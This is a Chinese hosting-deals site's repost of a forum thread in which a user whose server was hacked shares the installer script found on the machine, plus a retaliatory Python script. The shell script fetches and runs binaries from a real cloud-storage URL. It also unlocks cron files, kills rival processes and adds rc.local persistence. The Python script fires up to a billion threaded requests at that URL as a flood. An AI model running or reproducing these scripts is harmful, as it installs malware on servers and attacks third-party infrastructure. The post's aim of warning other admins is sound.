VPS参考测评推荐
专注分享VPS主机优惠信息
衡天云优惠活动
华纳云优惠活动

机器又被黑了,附上木马安装脚本,大家也自行检查下吧

主机参考:VPS测评参考推荐/专注分享VPS服务器优惠信息!若您是商家可以在本站进行投稿,查看详情!此外我们还提供软文收录、PayPal代付、广告赞助等服务,查看详情!
我们发布的部分优惠活动文章可能存在时效性,购买时建议在本站搜索商家名称可查看相关文章充分了解该商家!若非中文页面可使用Edge浏览器同步翻译!PayPal代付/收录合作

突然检查到
  1. #!/bin/sh
  2. #version
  3. watchVersion=”-5e4b58b”
  4. nodeVersion=”-5e4b58b”
  5. #dealChattr
  6. find /etc/cron*|xargs chattr -i
  7. find /var/spool/cron*|xargs chattr -i
  8. #directory
  9. oldDirectory=$(pwd)
  10. mkdir -p /tmp
  11. chmod 1777 /tmp
  12. cd /tmp
  13. touch /var/tmp/writeable cd /var/tmp/
  14. touch /dev/shm/writeable cd /dev/shm
  15. touch ~/writeable cd ~/
  16. touch $oldDirectory/writeable cd $oldDirectory
  17. touch /usr/local/bin/writeable cd /usr/local/bin/
  18. touch /usr/libexec/writeable cd /usr/libexec/
  19. touch /usr/bin/writeable cd /usr/bin/
  20. rm -rf /var/tmp/writeable ~/writeable  $oldDirectory/writeable /dev/shm/writeable /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
  21. currentDirectory=$(pwd)
  22. #killPast
  23. ps auxf| grep system-watch*| grep -v grep| grep -v system-watch$watchVersion| awk ‘{print $2}’| xargs kill -9
  24. ps auxf| grep system-node*| grep -v grep| grep -v system-node$nodeVersion| awk ‘{print $2}’| xargs kill -9
  25. #rm oldVersion
  26. find system-watch* | grep -v system-watch$watchVersion | xargs rm
  27. find system-node* | grep -v system-node$nodeVersion | xargs rm
  28. ps -ef | grep “system-node” | grep -v “grep” | awk ‘{print $2}’ | xargs kill -9
  29. #watchRun?
  30. ps auxf | grep system-watch$watchVersion | grep -v grep
  31. if [ $? -eq 0 ]
  32. then
  33.         echo “watch running”
  34. else
  35.         #updateNew
  36.         curl -fsSL https://nba-1254105488.cos.ap-beijing-1.myqcloud.com/storefile/watch_linux_`uname -m` -o system-watch$watchVersion || wget https://nba-1254105488.cos.ap-beijing-1.myqcloud.com/storefile/watch_linux_`uname -m` -O system-watch$watchVersion
  37.         chmod +x system-watch$watchVersion
  38.         $currentDirectory/system-watch$watchVersion
  39. fi
  40. #nodeRun?
  41. ps auxf | grep system-node$nodeVersion | grep -v grep
  42. if [ $? -eq 0 ]
  43. then
  44.         echo “node running”
  45. else
  46.         #updateNew
  47.         curl -fsSL https://nba-1254105488.cos.ap-beijing-1.myqcloud.com/storefile/node_linux_`uname -m` -o system-node$nodeVersion || wget https://nba-1254105488.cos.ap-beijing-1.myqcloud.com/storefile/node_linux_`uname -m` -O system-node$nodeVersion
  48.         chmod +x system-node$nodeVersion
  49.         $currentDirectory/system-node$nodeVersion
  50. fi
  51. #rcLocal
  52. if test -d /etc/rc.d/
  53. then
  54.     echo “centos rc.local”
  55.     sed -i ‘/system-/d’ /etc/rc.d/rc.local
  56.         sed -i ‘/system_/d’ /etc/rc.d/rc.local
  57.         echo $currentDirectory/system-watch$watchVersion &复制代码

python3 木马下载脚本

使用方法

  1. #coding:utf-8
  2. import requests
  3. import threading
  4. # 并发数
  5. thread_max = threading.BoundedSemaphore(100)
  6. curl = requests.session()
  7. curl.timeout = 120
  8. curl.headers = {
  9.     ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36’
  10. }
  11. class MyThread(threading.Thread):
  12.     def __init__(self):
  13.         # 重写写父类的__init__方法
  14.         super(MyThread, self).__init__()
  15.         self.url = ‘https://nba-1254105488.cos.ap-beijing-1.myqcloud.com/storefile/watch_linux_x86_64’
  16.     def run(self):
  17.         try:
  18.             url = self.url
  19.             if self.download(url):
  20.                 print(“下载成功: %s” % url)
  21.             else:
  22.                 print(“下载失败: %s” % url)
  23.         except Exception as e:
  24.             print(e)
  25.             pass
  26.         # 任务跑完移除线程
  27.         thread_max.release()
  28.     # 下载
  29.     def download(self, url):
  30.         try:
  31.             curl.get(url)
  32.             return True
  33.         except BaseException as e:
  34.             return False
  35. # 开始操作
  36. def start():
  37.     Thread_list = []
  38.     for url in range(1000000000):
  39.         # 如果线程达到最大值则等待前面线程跑完空出线程位置
  40.         thread_max.acquire()
  41.         p = MyThread()
  42.         p.start()
  43.         Thread_list.append(p)
  44.     for i in Thread_list:
  45.         i.join()
  46. if __name__ == ‘__main__’:
  47.     start()

复制代码

各路大神的回复:

注册: 矿工进驻了吗?

class: 学习了。。楼主分析出是怎么给你挂上去的吗??脚本??

这几篇文章你可能也喜欢:

  • 暂无相关推荐文章

本文由主机参考刊发,转载请注明:机器又被黑了,附上木马安装脚本,大家也自行检查下吧 https://zhujicankao.com/17291.html

【腾讯云】领8888元采购礼包,抢爆款云服务器 每月 9元起,个人开发者加享折上折!
打赏
转载请注明原文链接:主机参考 » 机器又被黑了,附上木马安装脚本,大家也自行检查下吧
主机参考仅做资料收集,不对商家任何信息及交易做信用担保,购买前请注意风险,有交易纠纷请自行解决!请查阅:特别声明

评论 抢沙发

评论前必须登录!